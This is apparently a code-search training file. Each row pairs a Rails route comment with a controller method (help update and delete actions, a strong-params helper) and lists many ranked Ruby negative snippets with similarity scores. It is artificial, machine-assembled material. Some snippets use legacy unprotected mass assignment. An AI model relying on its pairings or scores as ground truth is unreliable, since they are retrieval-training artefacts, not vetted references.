"0.48332658", "0.48297855" ]
0.58716345
3
PUT /helps/1 PUT /helps/1.json
def update @help = Help.find(params[:id]) respond_to do |format| if @help.update_attributes(params[:help]) format.html { redirect_to @help, notice: 'Help was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @help.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @shelter = Shelter.find(params[:id])\n\n if @shelter.update(shelter_params)\n head :no_content\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end", "def update\n @shelter = Shelter.find(params[:id])\n @shelter.update_attributes(params[:shelter])\n \n respond_with(@shelter, :location => admin_shelter_path(@shelter))\n end", "def put!\n request! :put\n end", "def update\n respond_to do |format|\n if @shelter.update(shelter_params)\n format.html { redirect_to @shelter, notice: 'Shelter was successfully updated.' }\n format.json { render :show, status: :ok, location: @shelter }\n else\n format.html { render :edit }\n format.json { render json: @shelter.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(*args)\n request :put, *args\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def update\n @need_help = NeedHelp.find(params[:id])\n\n respond_to do |format|\n if @need_help.update_attributes(params[:need_help])\n format.json {head :no_content}\n else\n format.json {render json: @need_help.errors, status: :unprocessable_entity}\n end\n end\n end", "def put(*args)\n request(:put, *args)\n end", "def put(id, json)\n with_endpoint do |endpoint|\n url = [endpoint, @resource_name, id].compact.join('/')\n url += \"/\" \n return HTTParty.put(url, :body => json, :timeout => 4, :headers => { 'Content-Type' => 'application/json' })\n end\n end", "def update\n put :update\n end", "def update_mod\n if params[:title] != nil && params[:content] != nil\n @question.title = params[:title]\n @question.content = params[:content]\n\n question_json = @question.to_h.to_json\n\n url = @httpIp+'/pet.com/api/question/updateQuestion'\n uri = URI(url)\n res = Net::HTTP.post(uri, question_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to questions_path\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def UpdateArticle id,params = {}\n \n APICall(path: \"help_center/articles/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end", "def put(resource, **params)\n\n execute(Net::HTTP::Put, 'PUT', resource, **params)\n\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def create_method\n :put_json\n end", "def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end", "def put payload, path = \"\"\n make_request(path, \"put\", payload)\n end", "def edit\n slug = params[:help]['slug']\n @help = Help.find_by_slug(slug) ||\n Help.new(:slug => slug)\n @help.title = params[:help]['title']\n @help.content = params[:help]['content']\n respond_to do |format|\n if CMS_CONFIG[\"ALLOW_HELP_EDIT\"] && @help.save\n format.json do\n flash[:notice] = \"Help was saved successfully.\"\n render :json => @help\n end\n else\n format.json do\n render :json => {:error => \"could not save\"}\n end\n end\n end\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @documentation_link = args[:documentation_link] if args.key?(:documentation_link)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @schema = args[:schema] if args.key?(:schema)\n @self_link = args[:self_link] if args.key?(:self_link)\n @title = args[:title] if args.key?(:title)\n end", "def http_put(path, data, content_type = 'application/json')\n http_methods(path, :put, data, content_type)\n end", "def create\n @shelter = Shelter.new(shelter_params)\n\n if @shelter.save\n render json: @shelter, status: :created, location: @shelter\n else\n render json: @shelter.errors, status: :unprocessable_entity\n end\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def put endpoint, data\n do_request :put, endpoint, data\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @starred = args[:starred] if args.key?(:starred)\n @web_properties = args[:web_properties] if args.key?(:web_properties)\n end", "def update\n question = Question.find_by!(id: params[:id])\n if question\n question.name = params[:name]\n question.description = params[:description]\n question.user_id = params[:user_id]\n question.category_id = params[:category_id]\n question.zavrseno = params[:zavrseno]\n question.uposlenik_id = params[:uposlenik_id]\n question.save\n render json: question, status: 200 \n else\n render json: { errors: \"This link is invalid.\"}, status: 404\n end\n end", "def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end", "def update(*args)\n put(*args)\n end", "def update(*args)\n put(*args)\n end", "def create_method\n :http_put\n end", "def create_method\n :http_put\n end", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def put(*args, &block)\n self.client.put *args\n end", "def put(*args)\n execute(:put, *args)\n end", "def update\n head :ok\n end", "def update\n product = Product.find(params[:id])\n product_details = params.permit(:title, :inventory_count, :price)\n\n product.update(product_details)\n\n render json: product\n end", "def set_shelter\n @shelter = Shelter.find_by(id: params[:shelter_id])\n if @shelter.nil?\n render json: {message: \"Shelter Not Found\"}, status: 404\n end\n end", "def update\n @title = Title.find(params[:id])\n\n if @title.update(title_params)\n head :no_content\n else\n render json: @title.errors, status: :unprocessable_entity\n end\n end", "def update\n @animal.update(animal_params)\n respond_with(@shelter)\n end", "def update\n update_resource_response(@headline, headline_params)\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update(todo_params)\n render json: @todo\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @type = args[:type] if args.key?(:type)\n end", "def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end", "def update\n respond_to do |format|\n if @api_v1_todo.update(api_v1_todo_params)\n format.json { render json: @api_v1_todo, status: :ok }\n else\n format.json { render json: @api_v1_todo.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(data = \"\")\n submit :Put, data\n end", "def update\n respond_to_update({thing: @author})\n end", "def update\n topic = Topic.find(params[:id])\n if topic.update(params_topic)\n render json: topic, status: 200\n else\n render json: topic.errors, status: 422\n end\n\n end", "def put(*args)\n prepare_request(:put, args)\n @@client.add(:put, @path, *args)\n end", "def update\n respond_to do |format|\n if @api_v1_exercise.update(api_v1_exercise_params)\n format.html { redirect_to @api_v1_exercise, notice: 'Exercise was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_exercise }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_exercise.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @title = args[:title] if args.key?(:title)\n end", "def update\n @helppage = Helppage.find(params[:id])\n @helppage.update_attributes(params[:helppage])\n redirect_to session[:original_uri]\n end", "def UpdateTopic id,params = {}\n \n APICall(path: \"topics/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end", "def updateTitle(id, title)\n item = Todo.find(id)\n item.title = title\n item.save\nend", "def update\n respond_to do |format|\n if @male_shot_put_head.update(male_shot_put_head_params)\n format.html { redirect_to @male_shot_put_head, notice: 'Male shot put head was successfully updated.' }\n format.json { render :show, status: :ok, location: @male_shot_put_head }\n else\n format.html { render :edit }\n format.json { render json: @male_shot_put_head.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end", "def update\n respond_to do |format|\n if @help.update(help_params)\n format.html { redirect_to helps_path, notice: 'Help was successfully updated.' }\n format.json { render :show, status: :ok, location: @help }\n else\n format.html { render :edit }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n end", "def edit(id, options = {})\n optional = [:label,\n :description,\n :compatible_with,\n :script_type\n ]\n params.accepts(optional).validate! options\n request(:put, \"/recipes/#{id}.json\", default_params(options))\n end", "def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def update\n @specie = Specie.find(params[:id])\n\n respond_to do |format|\n if @specie.update_attributes(params[:specie])\n format.html { redirect_to @specie, notice: 'Specie was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @specie.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(action, **args); end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def update\n @terms_of_use = TermsOfUse.find(params[:id])\n\n respond_to do |format|\n if @terms_of_use.update_attributes(params[:terms_of_use])\n format.html { redirect_to @terms_of_use, notice: 'Terms of use was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @terms_of_use.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @metadata = args[:metadata] if args.key?(:metadata)\n @snippets = args[:snippets] if args.key?(:snippets)\n @title = args[:title] if args.key?(:title)\n @uri = args[:uri] if args.key?(:uri)\n end", "def update\n respond_to do |format|\n if @help.update(help_params)\n format.html { redirect_to @help, notice: 'Help was successfully updated.' }\n format.json { render :index, status: :ok, location: @help }\n else\n format.html { render :edit }\n format.json { render json: @help.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @deck = Deck.find(params[:id])\n @deck.update(title: params[:title])\n render \"update.json.jbuilder\", status: :ok\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @title = args[:title] if args.key?(:title)\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @name = args[:name] if args.key?(:name)\n @starred = args[:starred] if args.key?(:starred)\n @type = args[:type] if args.key?(:type)\n end", "def update\n @stable = Stable.find(params[:id])\n\n respond_to do |format|\n if @stable.update_attributes(params[:stable])\n format.html { redirect_to @stable, notice: 'Stable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @stable.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @topic.update_attributes!(topic_params)\n json_response(@topic)\n end", "def set_api_v1_todo\n @api_v1_todo = Todo.find(params[:id])\n end", "def put(url, body = {})\n call(url: url, action: :put, body: body)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @guidelines = args[:guidelines] if args.key?(:guidelines)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @guidelines = args[:guidelines] if args.key?(:guidelines)\n end", "def set_shelter\n @shelter = Shelter.find(params[:id])\n end", "def update\n if @todo.update(todo_params)\n head :no_content\n else\n render json: @todo.errors, status: :unprocessable_entity\n end\n end", "def update\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n if @familiar.update_attributes(params[:familiar])\n format.html { redirect_to @familiar, notice: 'Familiar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familiar.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @major_topic = args[:major_topic] if args.key?(:major_topic)\n @term = args[:term] if args.key?(:term)\n end", "def update!(**args)\n @description = args[:description] if args.key?(:description)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n end", "def put\n if(resource.collection?)\n Forbidden\n elsif(!resource.parent_exists? || !resource.parent_collection?)\n Conflict\n else\n resource.lock_check if resource.supports_locking?\n status = resource.put(request, response)\n response['Location'] = \"#{scheme}://#{host}:#{port}#{url_format(resource)}\" if status == Created\n response.body = response['Location']\n status\n end\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n end", "def update\n @shot = Shot.find(params[:id])\n\n if @shot.update(shot_params)\n head :no_content\n else\n render json: @shot.errors, status: :unprocessable_entity\n end\n end", "def update\n @species = Species.find(params[:id])\n @species.update_attributes(params[:species])\n \n respond_with(@species, :location => admin_species_path(@species))\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def update\n @todo = Todo.find(params[:id])\n if @todo.update_attributes(todo_params)\n render json: @todo, status: :ok\n else\n render json: @todo.errors, status: 422\n end\n end", "def put(path, doc = nil, options = {})\n execute('PUT', path, options, doc)\n end" ]
[ "0.6679929", "0.63309777", "0.61285967", "0.59787774", "0.59257686", "0.59002066", "0.5864059", "0.5774537", "0.5730906", "0.5727064", "0.56655556", "0.56494164", "0.5630657", "0.5610629", "0.55530405", "0.55202657", "0.5504917", "0.5503862", "0.5493402", "0.54802364", "0.5475109", "0.5468185", "0.5462395", "0.5461168", "0.54551035", "0.54364353", "0.54364175", "0.54357564", "0.54253006", "0.54253006", "0.54244125", "0.54244125", "0.5416064", "0.5411989", "0.5410375", "0.53852284", "0.5379962", "0.5374212", "0.53731847", "0.5366643", "0.5362697", "0.53625244", "0.5358349", "0.5350714", "0.5348489", "0.5346943", "0.53430635", "0.5339567", "0.5337005", "0.533627", "0.53335166", "0.5333314", "0.5332352", "0.53319734", "0.53245586", "0.53194433", "0.5318765", "0.5317756", "0.5317731", "0.5312468", "0.5307719", "0.5299819", "0.5297231", "0.5297231", "0.5297231", "0.5294599", "0.529217", "0.5291857", "0.52908033", "0.52886844", "0.52886844", "0.52886844", "0.5283731", "0.5265841", "0.5264262", "0.5262182", "0.5260992", "0.5252122", "0.5252122", "0.52503663", "0.52475375", "0.5237197", "0.5236504", "0.5236504", "0.52349555", "0.5233386", "0.52316386", "0.5231489", "0.52283007", "0.5225626", "0.5222393", "0.5222393", "0.5222393", "0.5222393", "0.5222393", "0.5222393", "0.5222393", "0.5222393", "0.52196664", "0.52190584" ]
0.54530513
25
DELETE /helps/1 DELETE /helps/1.json
def destroy @help = Help.find(params[:id]) @help.destroy respond_to do |format| format.html { redirect_to helps_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n client.delete(\"/#{id}\")\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def delete(name)\n raise('wrong type: String required') unless name.is_a?(String)\n raise('wrong value: name must be valid') unless !name.nil? && !name.empty?\n\n @client.post({\n 'action' => 'del',\n 'object' => 'htpl',\n 'values' => name,\n }.to_json)\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete(*rest) end", "def destroy\n @shelter.destroy\n\n head :no_content\n end", "def cmd_delete argv\n setup argv\n e = @hash['element']\n response = @api.delete(e)\n msg response\n return response\n end", "def destroy\n @need_help = NeedHelp.find(params[:id])\n @need_help.destroy\n\n respond_to do |format|\n format.json {head :no_content}\n end\n end", "def delete_demo(id)\n delete_record \"/demos/#{id}\"\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def destroy\n @api_v1_exercise.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_exercises_url, notice: 'Exercise was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n super \"/templates/#{template_id}.json\", {}\n end", "def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end", "def destroy\n @example.update_attributes(:deleted => 1)\n respond_to do |format|\n format.html { redirect_to examples_url }\n format.json { head :no_content }\n end\n end", "def delete!(*rest) end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @help.destroy\n respond_to do |format|\n format.html { redirect_to helps_url, notice: 'Help was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @help.destroy\n respond_to do |format|\n format.html { redirect_to helps_url, notice: 'Help was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n api(\"Delete\")\n end", "def delete(options={})\n connection.delete(\"/\", @name)\n end", "def delete\n request(:delete)\n end", "def destroy\n @snippet.destroy\n\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Snippet was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise.destroy\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shelf.destroy\n\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise = Exercise.find(params[:id])\n @exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to exercises_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @example.destroy\n respond_to do |format|\n format.html { redirect_to examples_url, notice: 'Operação realizada com sucesso.' }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @todo3.destroy\n respond_to do |format|\n format.html { redirect_to todo3s_url }\n format.json { head :no_content }\n end\n end", "def delete!\n request! :delete\n end", "def delete\n \n end", "def destroy\n @shelf.destroy\n respond_to do |format|\n format.html { redirect_to shelves_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @snippet = Snippet.find(params[:id])\n @snippet.destroy\n\n respond_to do |format|\n format.html { redirect_to snippets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @snippet = Snippet.find(params[:id])\n @snippet.destroy\n\n respond_to do |format|\n format.html { redirect_to snippets_url }\n format.json { head :no_content }\n end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end", "def delete\n raise \"Can't delete a resource without a REST Client\" unless @client\n @client.delete @path\n end", "def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end", "def delete\n end", "def destroy\n @exercise_set = ExerciseSet.find(params[:id])\n @exercise_set.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_sets_url }\n format.json { head :no_content }\n end\n end", "def delete(name)\n\n end", "def destroy\n @rhelp = Rhelp.find(params[:id])\n @rhelp.destroy\n\n respond_to do |format|\n format.html { redirect_to(rhelps_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @client.delete(@name)\n end", "def delete\n\n end", "def destroy\n @shelter.destroy\n respond_to do |format|\n format.html { redirect_to shelters_url, notice: 'Shelter was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @shelter.destroy\n respond_to do |format|\n format.html { redirect_to shelters_url, notice: 'Shelter was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client.delete( name )\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end", "def delete(title)\n form_data = {'action' => 'delete', 'title' => title, 'token' => get_token('delete', title)}\n make_api_request(form_data)\n end", "def destroy\n logger.debug(\"HelpsController.destroy\")\n destroy_q(@help, helps_url)\n end", "def destroy\n @todo = Todo.find(params[:id])\n @todo.destroy\n render json: nil, status: :ok\n end", "def destroy\n return if @name.nil?\n delete_rest \"extra/#{@name}\"\n end", "def delete\n @guide = Guide.find(params[:id])\n @guide.destroy\n respond_to do |format|\n format.html { redirect_to guides_url }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n @tutorial.destroy\n respond_to do |format|\n format.html { redirect_to tutorials_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @do_exercise = DoExercise.find(params[:id])\n @do_exercise.destroy\n\n respond_to do |format|\n format.html { redirect_to do_exercises_url }\n format.json { head :no_content }\n end\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @section.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete!\n @resource.delete!\n end", "def destroy\n @todo.destroy\n render json: [\"Deleted successfully.\"], status: :ok\n end", "def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy \n\n \n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env['HTTP_REFERER'] }\n format.json { head :ok }\n end\n end", "def destroy\n @todo.destroy\n\n head :no_content\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n # @recipe = Recipe.find(params[:id])\n # @recipe.destroy\n #\n destroy! do |format|\n # format.html { redirect_to recipes_url }\n # format.json { head :ok }\n end\n end", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def delete\n delete_from_server single_url\n end", "def destroy\n @snippet.destroy\n\n respond_to do |format|\n format.html { redirect_to snippets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tutorial = Tutorial.find(params[:id])\n @tutorial.destroy\n render json: @tutorial\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def recipe_delete # /v1/user/:id/recipes/:recipe_id (DELETE)\n params[:recipes] = params[:recipe_id]\n recipes_delete\n end", "def destroy\n @usage = Usage.find(params[:id])\n @usage.destroy\n\n respond_to do |format|\n format.html { redirect_to usages_url }\n format.json { head :ok }\n end\n end", "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end", "def delete\n RestClient.delete(url, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def destroy\n @api_hello.destroy\n respond_to do |format|\n format.html { redirect_to api_hellos_url, notice: 'Hello was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n execute(:delete, *args)\n end", "def delete(name); end", "def delete(name); end", "def destroy\n @oncourse_exercise.destroy\n respond_to do |format|\n format.html { redirect_to oncourse_exercises_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.68559784", "0.6802321", "0.6770006", "0.6641226", "0.66003", "0.65992326", "0.65839845", "0.6565108", "0.6554588", "0.6533791", "0.65194464", "0.6508947", "0.64808977", "0.6467843", "0.6457057", "0.64319414", "0.6414604", "0.64039606", "0.64039606", "0.64039606", "0.64039606", "0.6395779", "0.6395779", "0.63895357", "0.6378083", "0.6372696", "0.63634145", "0.6362751", "0.6362751", "0.6360638", "0.63548", "0.63548", "0.63548", "0.63548", "0.63541293", "0.6351002", "0.6343856", "0.6340779", "0.63387394", "0.6337946", "0.6336861", "0.6333962", "0.633359", "0.633359", "0.63249326", "0.6301247", "0.6301247", "0.6296444", "0.62963796", "0.6294512", "0.6286916", "0.62824625", "0.6282075", "0.6280651", "0.62802494", "0.62802494", "0.6277845", "0.6277839", "0.6277839", "0.6277839", "0.6277839", "0.6277839", "0.6277839", "0.6277839", "0.6267683", "0.62675077", "0.626147", "0.6258437", "0.6255941", "0.6251404", "0.62450355", "0.6243542", "0.6238465", "0.6237678", "0.6235848", "0.6235848", "0.6229485", "0.6228943", "0.62240386", "0.6223758", "0.6222865", "0.6221094", "0.6216785", "0.6212702", "0.62106204", "0.6209384", "0.6209369", "0.62065166", "0.62054074", "0.61992246", "0.61950606", "0.61897683", "0.61834043", "0.6182503", "0.6180413", "0.61759084", "0.6175016", "0.6172516", "0.6172516", "0.61708665" ]
0.6634471
4
Never trust parameters from the scary internet, only allow the white list through.
def email_template_params params.require(:email_template).permit(:title, :subject, :body) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, 